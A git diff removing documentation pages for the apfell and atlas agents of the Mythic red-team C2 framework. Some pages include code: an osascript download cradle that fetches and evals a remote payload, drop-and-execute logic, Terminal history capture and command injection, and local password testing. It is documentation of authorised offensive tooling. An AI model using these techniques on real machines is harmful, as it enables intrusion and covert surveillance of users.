--- a/documentation-docker/content/Agents/apfell/commands/sleep.md
+++ /dev/null
@@ -1,55 +0,0 @@
-+++
-title = "sleep"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Modify the time between callbacks in seconds.
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### jitter
-
-- Description: Percentage of C2's interval to use as jitter
-- Required Value: False
-- Default Value: None
-
-#### interval
-
-- Description: Number of seconds between checkins
-- Required Value: False
-- Default Value: None
-
-## Usage
-### Without Popup
-
-```
-sleep [interval] [jitter]
-```
-
-## MITRE ATT&CK Mapping
-
-- T1029
-## Detailed Summary
-Internally modifies the sleep interval and sleep jitter percentages when doing callbacks:
-```JavaScript
-get_random_int(max) {
- return Math.floor(Math.random() * Math.floor(max + 1));
-}
-gen_sleep_time(){
- //generate a time that's this.interval += (this.interval * 1/this.jitter)
- if(this.jitter < 1){return this.interval;}
- let plus_min = this.get_random_int(1);
- if(plus_min === 1){
- return this.interval + (this.interval * (this.get_random_int(this.jitter)/100));
- }else{
- return this.interval - (this.interval * (this.get_random_int(this.jitter)/100));
- }
-}
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/spawn_download_cradle.md b/documentation-docker/content/Agents/apfell/commands/spawn_download_cradle.md
deleted file mode 100644
index 910de1698..000000000
--- a/documentation-docker/content/Agents/apfell/commands/spawn_download_cradle.md
+++ /dev/null
@@ -1,52 +0,0 @@
-+++
-title = "spawn_download_cradle"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Spawn a new osascript download cradle as a backgrounded process to launch a new callback
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### url
-
-- Description: full URL of hosted payload
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-spawn_download_cradle
-```
-
-
-## Detailed Summary
-Uses the same execution technique as the `run` command to launch a backgrounded `osascript` binary with a download cradle:
-```JavaScript
-let path = "/usr/bin/osascript";
-let args = ['-l','JavaScript','-e'];
-let command = "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString(";
-command = command + "'" + full_url + "')),$.NSUTF8StringEncoding)));";
-args.push(command);
-args.push("&");
-try{
- let pipe = $.NSPipe.pipe;
- let file = pipe.fileHandleForReading; // NSFileHandle
- let task = $.NSTask.alloc.init;
- task.launchPath = path;
- task.arguments = args;
- task.standardOutput = pipe;
- task.standardError = pipe;
- task.launch;
-}
-```
-
-This doesn't generate a new payload, it just pulls down and executes the payload hosted at `url`.
-
diff --git a/documentation-docker/content/Agents/apfell/commands/spawn_drop_and_execute.md b/documentation-docker/content/Agents/apfell/commands/spawn_drop_and_execute.md
deleted file mode 100644
index e57953866..000000000
--- a/documentation-docker/content/Agents/apfell/commands/spawn_drop_and_execute.md
+++ /dev/null
@@ -1,60 +0,0 @@
-+++
-title = "spawn_drop_and_execute"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Generate a new payload, drop it to a temp location, execute it with osascript as a background process, and then delete the file. Automatically reports back the temp file it created.
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### template
-
-- Description: apfell agent to use as template to generate a new payload
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-spawn_drop_and_execute
-```
-
-
-## Detailed Summary
-This function takes the `apfell` payload indicated by `template`, generates a new instance of it, writes it to a random filename in `/temp`, starts its execution as a backgrounded processes, waits three seconds, and removes the file. The file can be removed from disk because once the `osascript` binary kicks off with the JavaScript code, it's all being executed and compiled (JIT) in memory, so the file on disk is no longer needed.
-
-The temporary file created is reported back as an artifact automatically.
-
-```JavaScript
-let path = "/usr/bin/osascript";
-let result = write_data_to_file(file, temp_file);
-if(result !== "file written"){return {"user_output": result, "completed": true, "status": 'error'};}
-else{artifacts.push({"base_artifact": "File Write", "artifact": temp_file});}
-let args = ['-l','JavaScript', temp_file, '&'];
-try{
- let pipe = $.NSPipe.pipe;
- let file = pipe.fileHandleForReading; // NSFileHandle
- let task = $.NSTask.alloc.init;
- task.launchPath = path;
- task.arguments = args;
- task.standardOutput = pipe;
- task.standardError = pipe;
- task.launch;
- artifacts.push({"base_artifact": "Process Create", "artifact": "/usr/bin/osascript " + args.join(" ")});
-}
-catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error", "artifacts": artifacts};
-}
-//give the system time to actually execute the file before we delete it
-$.NSThread.sleepForTimeInterval(3);
-let fileManager = $.NSFileManager.defaultManager;
-fileManager.removeItemAtPathError($(temp_file), $());
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/system_info.md b/documentation-docker/content/Agents/apfell/commands/system_info.md
deleted file mode 100644
index c80864950..000000000
--- a/documentation-docker/content/Agents/apfell/commands/system_info.md
+++ /dev/null
@@ -1,31 +0,0 @@
-+++
-title = "system_info"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This uses JXA to get some system information. It doesn't send Apple Events to any other applications though, so it shouldn't cause popups.
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-## Usage
-
-```
-system_info
-```
-
-## MITRE ATT&CK Mapping
-
-- T1082
-## Detailed Summary
-The function reads information about the current application via JXA:
-```JavaScript
-return {"user_output":JSON.stringify(currentApp.systemInfo(), null, 2), "completed": true};
-```
-
diff --git a/documentation-docker/content/Agents/apfell/commands/terminals_read.md b/documentation-docker/content/Agents/apfell/commands/terminals_read.md
deleted file mode 100644
index bdb3b984b..000000000
--- a/documentation-docker/content/Agents/apfell/commands/terminals_read.md
+++ /dev/null
@@ -1,78 +0,0 @@
-+++
-title = "terminals_read"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This uses AppleEvents to read information about open instances of Apple's Terminal.app.
-
-The contents flag allows you to see exactly what the user can see at that moment on the screen.
-
-The history flag allows you to see everything that's in that tab's scroll history. This can be a lot of information, so keep that in mind.
-
-This function will also give you the window/tab information for each open session and a bunch of other information.
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### level
-
-- Description: How much data to retrive - what's viewable or all history
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-terminals_read
-```
-
-## MITRE ATT&CK Mapping
-
-- T1139
-- T1056
-## Detailed Summary
-This sends AppleEvents to the Terminal.app to read information about the windows/tabs:
-```JavaScript
-let term = Application("Terminal");
-if(term.running()){
- let windows = term.windows;
- for(let i = 0; i < windows.length; i++){
- let win_info = {
- "Name": windows[i].name(),
- "Visible": windows[i].visible(),
- "Frontmost": windows[i].frontmost(),
- "tabs": []
- };
- let all_tabs = [];
- // store the windows information in id_win in all_data
- all_data["window_" + i] = win_info;
- for(let j = 0; j < windows[i].tabs.length; j++){
- let tab_info = {
- "tab": j,
- "Busy": windows[i].tabs[j].busy(),
- "Processes": windows[i].tabs[j].processes(),
- "Selected": windows[i].tabs[j].selected(),
- "TTY": windows[i].tabs[j].tty()
- };
- if(windows[i].tabs[j].titleDisplaysCustomTitle()){
- tab_info["CustomTitle"] = windows[i].tabs[j].customTitle();
- }
- if(split_params['level'] === 'history'){
- tab_info["History"] = windows[i].tabs[j].history();
- }
- if(split_params['level'] === 'contents'){
- tab_info["Contents"] = windows[i].tabs[j].contents();
- }
- all_tabs.push(tab_info);
- }
- // store all of the tab information corresponding to that window id at id_tabs
- win_info['tabs'] = all_tabs;
- }
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/terminals_send.md b/documentation-docker/content/Agents/apfell/commands/terminals_send.md
deleted file mode 100644
index 73bb6b07f..000000000
--- a/documentation-docker/content/Agents/apfell/commands/terminals_send.md
+++ /dev/null
@@ -1,63 +0,0 @@
-+++
-title = "terminals_send"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This uses AppleEvents to inject the shell command, {command}, into the specified terminal shell as if the user typed it from the keyboard. This is pretty powerful. Consider the instance where the user is SSH-ed into another machine via terminal - with this you can inject commands to run on the remote host.
-
-Just remember, the user will be able to see the command, but you can always see what they see as well with the `terminals_read` command.
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### window
-
-- Description: window # to send command to
-- Required Value: True
-- Default Value: None
-
-#### tab
-
-- Description: tab # to send command to
-- Required Value: True
-- Default Value: None
-
-#### command
-
-- Description: command to execute
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-terminals_send
-```
-
-## MITRE ATT&CK Mapping
-
-- T1059
-- T1184
-## Detailed Summary
-To get the window/tab combination needed for this command, run `terminals_read` first. This uses Terminal's own AppleEvent API to accept and execute commands.
-
-```JavaScript
-let term = Application("Terminal");
-if(term.running()){
- let window = split_params['window'];
- let tab = split_params['tab'];
- let cmd = split_params['command'];
- term.doScript(cmd, {in:term.windows[window].tabs[tab]});
- output = term.windows[window].tabs[tab].contents();
-}else{
- return {"user_output":"Terminal is not running", "completed": true, "status": "error"};
-}
-```
-
diff --git a/documentation-docker/content/Agents/apfell/commands/test_password.md b/documentation-docker/content/Agents/apfell/commands/test_password.md
deleted file mode 100644
index 5a8ca72b3..000000000
--- a/documentation-docker/content/Agents/apfell/commands/test_password.md
+++ /dev/null
@@ -1,55 +0,0 @@
-+++
-title = "test_password"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Tests a password against a user to see if it's valid via an API call
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### password
-
-- Description: Password to test
-- Required Value: True
-- Default Value: None
-
-#### username
-
-- Description: Local user to test against
-- Required Value: True
-- Default Value: None
-
-## Usage
-### Without Popup
-```
-test_password username password
-```
-
-## MITRE ATT&CK Mapping
-
-- T1110
-## Detailed Summary
-Uses the OpenDirectory Framework to test a local username/password combination.
-```JavaScript
-let session = $.ODSession.defaultSession;
-let sessionType = 0x2201 // $.kODNodeTypeAuthentication
-let recType = $.kODRecordTypeUsers
-let node = $.ODNode.nodeWithSessionTypeError(session, sessionType, $());
-let user = node.recordWithRecordTypeNameAttributesError(recType,$(username), $(), $())
-if(user.js !== undefined){
- if(user.verifyPasswordError($(password),$())){
- return {"user_output":"Successful authentication", "completed": true};
- }
- else{
- return {"user_output":"Failed authentication", "completed": true};
- }
-}
-```
-When typing out on the commandline (instead of the popup), the username is the first word and the password is all the rest
diff --git a/documentation-docker/content/Agents/apfell/commands/upload.md b/documentation-docker/content/Agents/apfell/commands/upload.md
deleted file mode 100644
index 73a61f5b1..000000000
--- a/documentation-docker/content/Agents/apfell/commands/upload.md
+++ /dev/null
@@ -1,51 +0,0 @@
-+++
-title = "upload"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Upload a file to the target machine by selecting a file from your computer.
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### file
-
-- Description: file to upload
-- Required Value: True
-- Default Value: None
-
-#### remote_path
-
-- Description: /remote/path/on/victim.txt
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-upload
-```
-
-## MITRE ATT&CK Mapping
-
-- T1132
-- T1030
-- T1105
-## Detailed Summary
-This function uses API calls to chunk and transfer a file down from Mythic to the agent, then uses API calls to write the file out to disk:
-```JavaScript
-if(typeof data == "string"){
- data = convert_to_nsdata(data);
-}
-if (data.writeToFileAtomically($(file_path), true)){
- return "file written";
-}
-```
-After successfully writing the file to disk, the agent will report back the final full path so that it can be tracked within the UI.
diff --git a/documentation-docker/content/Agents/apfell/development.md b/documentation-docker/content/Agents/apfell/development.md
deleted file mode 100644
index 9ccd3c2d1..000000000
--- a/documentation-docker/content/Agents/apfell/development.md
+++ /dev/null
@@ -1,75 +0,0 @@
-+++
-title = "Development"
-chapter = false
-weight = 20
-pre = "3. "
-+++
-
-## Development Environment
-
-Unfortunately there isn't a single great environment for doing JXA development. When testing individual components, you can use the native REPL (Read Eval Print Loop) style to do a single command at a time (`osascript -l JavaScript -i`). Things also drastically change between macOS versions, so be sure to test your code on any that you anticipate encountering.
-
-You can use the majority of normal JavaScript functionality except for things that interact with the DOM or browser specific features.
-
-The [JXA Cookbook](https://github.com/JXA-Cookbook/JXA-Cookbook/wiki) has great resources and examples for doing a lot of stuff with JXA.
-There's also a [groups](https://apple-dev.groups.io/g/jxa/wiki/3202) page with some useful (although dated) references.
-
-## Adding Commands
-
-Commands are located in `Payload_Types/apfell/agent_code/` and have a `.js` extension. The general format for commands is:
-
-```JavaScript
-exports.command_name = function(task, command, params){
- //ObjC.import('AppKit'); //do any command-specific imports you might need
- //task is a JSON dictionary of information about the task
- //command is the command name
- //params is a STRING of the parameters
- // if you actually sent a JSON blob, then you need to do:
- // let json_params = JSON.parse(params);
- return {"user_output": "hey, I ran!", "completed": true, "status": "success"};
-};
-```
-where `command_name` is the name of the command you'd type in the UI.
-
-### Available Components within Commands
-
-Inside of commands, you get access to certain extra functions and information that's part of the agent overall and the C2 profile.
-- `C2` - this class gives access to all of the C2's methods in case you want to call one of them directly. A good example of this is if you want to pull down a file from Mythic `let file = C2.upload(task, config['template'], temp_file);`.
- - The `upload` function within `C2` takes the task, the file_id you want to pull down, and if you're going to be writing that file to disk, the full path of where it goes. This last piece is so that Mythic can properly track where the file is being written since it might not always be known ahead of time (i.e. randomized or relative paths). The naming convention here seems backwards at first, but to keep things consistent, all naming is from the perspective of the operator. So, and `upload` function is uploading it from the operator/Mythic to the agent whereas `download` is going from agent to operator/Mythic.
-- `apfell` - this is the instantiation of the agent class with all of the pieces you're familiar with for the base agent info:
-```JavaScript
-class agent{
- constructor(){
- this.procInfo = $.NSProcessInfo.processInfo;
- this.hostInfo = $.NSHost.currentHost;
- this.id = "";
- this.user = ObjC.deepUnwrap(this.procInfo.userName);
- this.fullName = ObjC.deepUnwrap(this.procInfo.fullUserName);
- //every element in the array needs to be unwrapped
- this.ip = ObjC.deepUnwrap(this.hostInfo.addresses); //probably just need [0]
- this.pid = this.procInfo.processIdentifier;
- //every element in the array needs to be unwrapped
- this.host = ObjC.deepUnwrap(this.hostInfo.names); //probably just need [0]
- //this is a dictionary, but every 'value' needs to be unwrapped
- this.environment = ObjC.deepUnwrap(this.procInfo.environment);
- this.uptime = this.procInfo.systemUptime;
- //every element in the array needs to be unwrapped
- this.args = ObjC.deepUnwrap(this.procInfo.arguments);
- this.osVersion = this.procInfo.operatingSystemVersionString.js;
- this.uuid = "UUID_HERE";
- }
-}
-var apfell = new agent();
-```
- - you can access any of these pieces within your functions if necessary.
-
-
-## Modifying base agent behavior
-
-The base code for the agent is lcoated in `Payload_types/apfell/agent_code/base/apfell-jxa.js`. This contains the information about the apfell agent that's report back for checkin (such as username, hostname, agent uuid, etc). This also contains the main tasking loop at the bottom.
-
-## Adding C2 Profiles
-
-C2 profiles are located in their own folder in `Payload_Types/apfell/agent_code/c2_profiles` each with their own `.js` file. These are separated out so it's easy to find during payload creation.
-- You can do pretty much whatever you want for these, but you should expose the `upload` and `download` functions in the same fashion as the `HTTP` profile so that it's easy to swap between C2 profiles.
-- The main thing you need to do is declare your c2 instance at the bottom like `var C2 = new customC2(callback_interval, "callback_host:callback_port/");` so that commands and other functions can access these functions via the `C2` variable.
diff --git a/documentation-docker/content/Agents/apfell/opsec.md b/documentation-docker/content/Agents/apfell/opsec.md
deleted file mode 100644
index f5cdb1800..000000000
--- a/documentation-docker/content/Agents/apfell/opsec.md
+++ /dev/null
@@ -1,31 +0,0 @@
-+++
-title = "OPSEC"
-chapter = false
-weight = 10
-pre = "1. "
-+++
-
-## Considerations
-
-- The agent is single-threaded. While most times this won't be an issue (other than only being able to run one command at a time), this comes into play for the `shell` and `shell_elevated` commands since they spawn a shell command and _wait for the program to finish_. So, if you run something like `shell sudo whoami` and sudo prompts for the password, your agent will never come back because it's waiting for that input.
-
-
-### Process Execution
-
-- The `shell` command spawns `/bin/sh -c [command]` which is subject to command-line logging.
-- The `shell_elevated` command spawns a series of trampoline processes to elevate your context before finally spawning the `/bin/sh -c [command]`
-- The `add_user` command spawns _many_ instances of `dscl`
-
-### Potential Popups
-
-The following commands can only use AppleEvents or have the option to use Apple Events which on Mojave+ (10.14+) can generate popups:
-- `chrome_bookmarks` - reaches out to `Chrome`
-- `chrome_js` reaches out to `Chrome`
-- `chrome_tabs` reaches out to `Chrome`
-- `current_user` has an option to use AppleEvents or API calls
-- `iTerm` reaches out to `iTerm`
-- `screenshot` can cause popups in 10.15+
-- `ls` can cause popups in 10.15+ based on the folder
-- `security_info` reaches out to `System Events`
-- `terminals_read` reaches out to `Terminal.app`
-- `terminals_send` reaches out to `Terminal.app`
diff --git a/documentation-docker/content/Agents/atlas/_index.md b/documentation-docker/content/Agents/atlas/_index.md
deleted file mode 100644
index cd3a98294..000000000
--- a/documentation-docker/content/Agents/atlas/_index.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "atlas"
-chapter = false
-weight = 5
-+++
-![logo](/agents/atlas/atlas.svg?width=200px)
-## Summary
-
-Atlas is a lightweight .NET agent written in C#. This agent was designed to be used as a initial access implant to allow limited functionality, while focusing on stability, flexibility, small assembly size and OPSEC friendly execution methods.
-
-### Highlighted Agent Features
-- .NET 3.5 and 4.0 compatible
- Note> host_header cannot be modified using the 3.5 version
-- In-process dynamic loading and execution of .NET assemblies
-- AMSI/ETWWriteLog bypasses included by default
-- Proxy support
-- Dynamic agent configuration
-
-## Authors
-- [@Airzero24](https://twitter.com/airzero24)
-
-### Special Thanks to These Contributors
-- [@its_a_feature_](https://twitter.com/its_a_feature_)
-- [@djhohnstein](https://twitter.com/djhohnstein)
-- [@cobbr_io](https://twitter.com/cobbr_io)
-- [@001SPARTaN](https://twitter.com/001spartan)
diff --git a/documentation-docker/content/Agents/atlas/c2_profiles/HTTP.md b/documentation-docker/content/Agents/atlas/c2_profiles/HTTP.md
deleted file mode 100755
index 1dc1c1d69..000000000
--- a/documentation-docker/content/Agents/atlas/c2_profiles/HTTP.md
+++ /dev/null
@@ -1,13 +0,0 @@
-+++
-title = "HTTP"
-chapter = false
-weight = 102
-+++
-
-## Summary
-
-
-### Profile Option Deviations
-
-
-
diff --git a/documentation-docker/content/Agents/atlas/c2_profiles/_index.md b/documentation-docker/content/Agents/atlas/c2_profiles/_index.md
deleted file mode 100644
index 7f3475d15..000000000
--- a/documentation-docker/content/Agents/atlas/c2_profiles/_index.md
+++ /dev/null
@@ -1,10 +0,0 @@
-+++
-title = "C2 Profiles"
-chapter = true
-weight = 25
-pre = "4. "
-+++
-
-# Supported C2 Profiles
-
-This section goes into any `atlas` specifics for the supported C2 profiles.
diff --git a/documentation-docker/content/Agents/atlas/commands/_index.md b/documentation-docker/content/Agents/atlas/commands/_index.md
deleted file mode 100644
index ceadfb2e7..000000000
--- a/documentation-docker/content/Agents/atlas/commands/_index.md
+++ /dev/null
@@ -1,9 +0,0 @@
-+++
-title = "Commands"
-chapter = true
-weight = 15
-pre = "2. "
-+++
-
-# atlas Command Reference
-These pages provide in-depth documentation and code samples for the `atlas` commands.
diff --git a/documentation-docker/content/Agents/atlas/commands/cd.md b/documentation-docker/content/Agents/atlas/commands/cd.md
deleted file mode 100644
index 4b35b0206..000000000
--- a/documentation-docker/content/Agents/atlas/commands/cd.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "cd"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Change current working directory of Atlas instance.
-- Needs Admin: False
-- Version: 1
-- Author: @Airzero24
-
-### Arguments
-This command will send any arguments as a `path` variables to the agent to change the current working directory too.
-
-## Usage
-
-```
-cd [C:\path\to\change\to]
-```
-
-
-## Detailed Summary
-The `cd` command uses the `System.IO.Directory.SetCurrentDirectory` method to modify the process’s current working directory to a specified directory. This command accepts relative paths, such as `..` or `..\..\Users`. Quotes are not needed when changing to directories with spaces in their path name, such as `C:\Program Files`.
diff --git a/documentation-docker/content/Agents/atlas/commands/config.md b/documentation-docker/content/Agents/atlas/commands/config.md
deleted file mode 100644
index 983117133..000000000
--- a/documentation-docker/content/Agents/atlas/commands/config.md
+++ /dev/null
@@ -1,66 +0,0 @@
-+++
-title = "config"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-Modify aspects of the agent's running configuration.
-
-- Needs Admin: False
-- Version: 1
-- Author: @Airzero24
-
-### Arguments
-
-#### info
-display current agent configuration
-
-#### domain
-add/remove C2 domain/IP address
-
-##### add
-add a C2 domain to list of domains
-
-##### remove
-remove a C2 domain from list of domains (will not let list be less then one domain)
-
-#### sleep
-sleep time between taskings in seconds
-
-#### jitter
-variation in sleep time, specify as a percentage
-
-#### host_header
-host header to use for domain fronting
-
-#### user_agent
-user-agent header for web requests
-
-#### param
-option for query parameter used in GET requests
-
-#### proxy
-option to modify proxy settings
-
-##### use_default
-true/false, choose whether to use system default settings or manual settings specified in config
-
-##### address
-address of proxy server
-
-##### username
-username to authenticate to proxy server
-
-##### password
-password to authenticate to proxy server
-
-
-## Usage
-
-```
-config [info | domain | sleep | jitter | host_header | user_agent | param | proxy] [add | remove | use_default | address | username | password] [options]
-```
-
-
diff --git a/documentation-docker/content/Agents/atlas/commands/download.md b/documentation-docker/content/Agents/atlas/commands/download.md
deleted file mode 100644
index f936ad84d..000000000
--- a/documentation-docker/content/Agents/atlas/commands/download.md
+++ /dev/null
@@ -1,30 +0,0 @@
-+++
-title = "download"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Download a file from the victim machine to the Mythic server in chunks (no need for quotes in the path).
-
-- Needs Admin: False
-- Version: 1
-- Author: @Airzero24
-
-### Arguments
-
-#### file_path
-
-- Description: Path to remote file to be downloaded
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-download [path to remote file]
-```
-
-
diff --git a/documentation-docker/content/Agents/atlas/commands/exit.md b/documentation-docker/content/Agents/atlas/commands/exit.md
deleted file mode 100644
index 35ad76db1..000000000
--- a/documentation-docker/content/Agents/atlas/commands/exit.md
+++ /dev/null
@@ -1,23 +0,0 @@
-+++
-title = "exit"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This exits the current `atlas` instance process by leveraging the `System.Environment.Exit` class method.
-
-- Needs Admin: False
-- Version: 1
-- Author: @Airzero24
-
-## Usage
-
-```
-exit
-```
-
-
-
diff --git a/documentation-docker/content/Agents/atlas/commands/jobkill.md b/documentation-docker/content/Agents/atlas/commands/jobkill.md
deleted file mode 100644
index 6ca3a4fb1..000000000
--- a/documentation-docker/content/Agents/atlas/commands/jobkill.md
+++ /dev/null
@@ -1,28 +0,0 @@
-+++
-title = "jobkill"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Kills a running job and removes it from the atlas instance's list of running jobs. You can retrieve a list of running jobs with the `jobs` command.
-- Needs Admin: False
-- Version: 1
-- Author: @Airzero24
-
-### Arguments
-
-#### job_id
-
-- Description: The Job Id for the running job to be killed
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-jobkill [job id]
-```
-
diff --git a/documentation-docker/content/Agents/atlas/commands/jobs.md b/documentation-docker/content/Agents/atlas/commands/jobs.md
deleted file mode 100644
index 3ae20abbb..000000000
--- a/documentation-docker/content/Agents/atlas/commands/jobs.md
+++ /dev/null
@@ -1,21 +0,0 @@
-+++
-title = "jobs"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Retrieve a list of currently running jobs
-- Needs Admin: False
-- Version: 1
-- Author: @Airzero24
-
-
-## Usage
-
-```
-jobs
-```
-
diff --git a/documentation-docker/content/Agents/atlas/commands/listloaded.md b/documentation-docker/content/Agents/atlas/commands/listloaded.md
deleted file mode 100644
index ef29f3202..000000000
--- a/documentation-docker/content/Agents/atlas/commands/listloaded.md
+++ /dev/null
@@ -1,20 +0,0 @@
-+++
-title = "listloaded"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Retrieve a list of .NET assemblies loaded via the `loadassembly` command.
-- Needs Admin: False
-- Version: 1
-- Author: @Airzero24
-
-## Usage
-
-```
-listloaded
-```
-
diff --git a/documentation-docker/content/Agents/atlas/commands/loadassembly.md b/documentation-docker/content/Agents/atlas/commands/loadassembly.md
deleted file mode 100644
index 75fb4604e..000000000
--- a/documentation-docker/content/Agents/atlas/commands/loadassembly.md
+++ /dev/null
@@ -1,31 +0,0 @@
-+++
-title = "loadassembly"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Load an arbitrary .NET assembly in the agent's process.
-- Needs Admin: False
-- Version: 1
-- Author:
-
-### Arguments
-
-#### assembly_id
-
-- Description: File to be transferred to agent
-- Required Value: False
-- Default Value: None
-
-## Usage
-
-```
-loadassembly
-```
-
-
-## Detailed Summary
-This command will transfer a arbitary .NET assembly to an agent and reflectively load it via `System.Reflection.Assembly.Load`. The assembly name is tracked to enable future execution of the assembly without needing to reload it again. Execution of loaded assemblies can be achieved using the `runassembly` command.
diff --git a/documentation-docker/content/Agents/atlas/commands/ls.md b/documentation-docker/content/Agents/atlas/commands/ls.md
deleted file mode 100644
index 4b96b3238..000000000
--- a/documentation-docker/content/Agents/atlas/commands/ls.md
+++ /dev/null
@@ -1,28 +0,0 @@
-+++
-title = "ls"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-List contents of specified directory.
-- Needs Admin: False
-- Version: 1
-- Author: @Airzero24
-
-### Arguments
-This command will send any arguments as a `path` variables to the agent to change the current working directory too.
-
-## Usage
-
-```
-ls [path]
-```
-
-## Detailed Summary
-The ls command retrieves information about files and folders within a specified directory. This information is collected with multiple methods from the System.IO.File and System.IO.Directory classes. Information gathered includes name, size, timestamps, owner and if the object is hidden.
-
-### Resources
-- [Sharpsploit](https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Enumeration/Host.cs)
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/atlas/commands/ps.md b/documentation-docker/content/Agents/atlas/commands/ps.md
deleted file mode 100644
index 897fbe449..000000000
--- a/documentation-docker/content/Agents/atlas/commands/ps.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "ps"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Gather list of running processes.
-- Needs Admin: False
-- Version: 1
-- Author: @Airzero24
-
-
-## Usage
-
-```
-ps
-```
-
-## Detailed Summary
-The ps command uses the System.Diagnostics.Process.GetProcesses method to collect information about running processes including process id, parent process id, process name, architecture, and user executing the process (High integrity required to collect other usernames).
-
-### Resources
-- [Sharpsploit](https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Enumeration/Host.cs)
diff --git a/documentation-docker/content/Agents/atlas/commands/pwd.md b/documentation-docker/content/Agents/atlas/commands/pwd.md
deleted file mode 100644
index 334b1ed05..000000000
--- a/documentation-docker/content/Agents/atlas/commands/pwd.md
+++ /dev/null
@@ -1,22 +0,0 @@
-+++
-title = "pwd"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Get current working directory of the Atlas instance.
-- Needs Admin: False
-- Version: 1
-- Author: @Airzero24
-
-## Usage
-
-```
-pwd
-```
-
-## Detailed Summary
-This command uses the `System.IO.Directory.GetCurrentDirectory` class method to retrieve the current running process's working directory.
diff --git a/documentation-docker/content/Agents/atlas/commands/rm.md b/documentation-docker/content/Agents/atlas/commands/rm.md
deleted file mode 100644
index 867f4d716..000000000
--- a/documentation-docker/content/Agents/atlas/commands/rm.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "rm"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Delete the specified file.
-- Needs Admin: False
-- Version: 1
-- Author: @Airzero24
-
-### Arguments
-This command will send any arguments as a `path` variables to the agent to the specified file.
-
-## Usage
-
-```
-rm [filename]
-```
-
-
-## Detailed Summary
-This command uses the `System.IO.File.Delete` class method to remove files from disk.
diff --git a/documentation-docker/content/Agents/atlas/commands/runassembly.md b/documentation-docker/content/Agents/atlas/commands/runassembly.md
deleted file mode 100644
index 309da1608..000000000
--- a/documentation-docker/content/Agents/atlas/commands/runassembly.md
+++ /dev/null
@@ -1,34 +0,0 @@
-+++
-title = "execute_assembly"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Execute the entrypoint of a assembly loaded by the `loadassembly` command and redirect the console output back to the Mythic server.
-- Needs Admin: False
-- Version: 1
-- Author: @Airzero24
-
-### Arguments
-
-#### assembly_id
-
-- Description: The assembly file name that has been loaded via the `loadassembly` command
-- Required Value: True
-- Default Value: None
-
-#### args
-
-- Description: Any arguments to send to the executing assembly
-- Required Value: False
-- Default Value: None
-
-## Usage
-
-```
-execute_assembly [filename] [assembly arguments]
-```
-
diff --git a/documentation-docker/content/Agents/atlas/commands/upload.md b/documentation-docker/content/Agents/atlas/commands/upload.md
deleted file mode 100644
index 19b0822a0..000000000
--- a/documentation-docker/content/Agents/atlas/commands/upload.md
+++ /dev/null
@@ -1,42 +0,0 @@
-+++
-title = "upload"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Upload a file to the remote host
-- Needs Admin: False
-- Version: 1
-- Author: @Airzero24
-
-### Arguments
-
-#### assembly_id
-
-- Description: The file to uploaded to the target host.
-- Required Value: True
-- Default Value: None
-
-#### remote_path
-
-- Description: Take a file from the database and store it on disk through the callback.
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-upload
-```
-
-## MITRE ATT&CK Mapping
-
-- T1132
-- T1030
-- T1041
-
-## Detailed Summary
-Files being uploaded to an agent infected host will be chunked into `Base64` parts and sent to the agent to be written to disk using the `System.IO.File.WriteAllBytes` class method.
diff --git a/documentation-docker/content/Agents/atlas/development.md b/documentation-docker/content/Agents/atlas/development.md
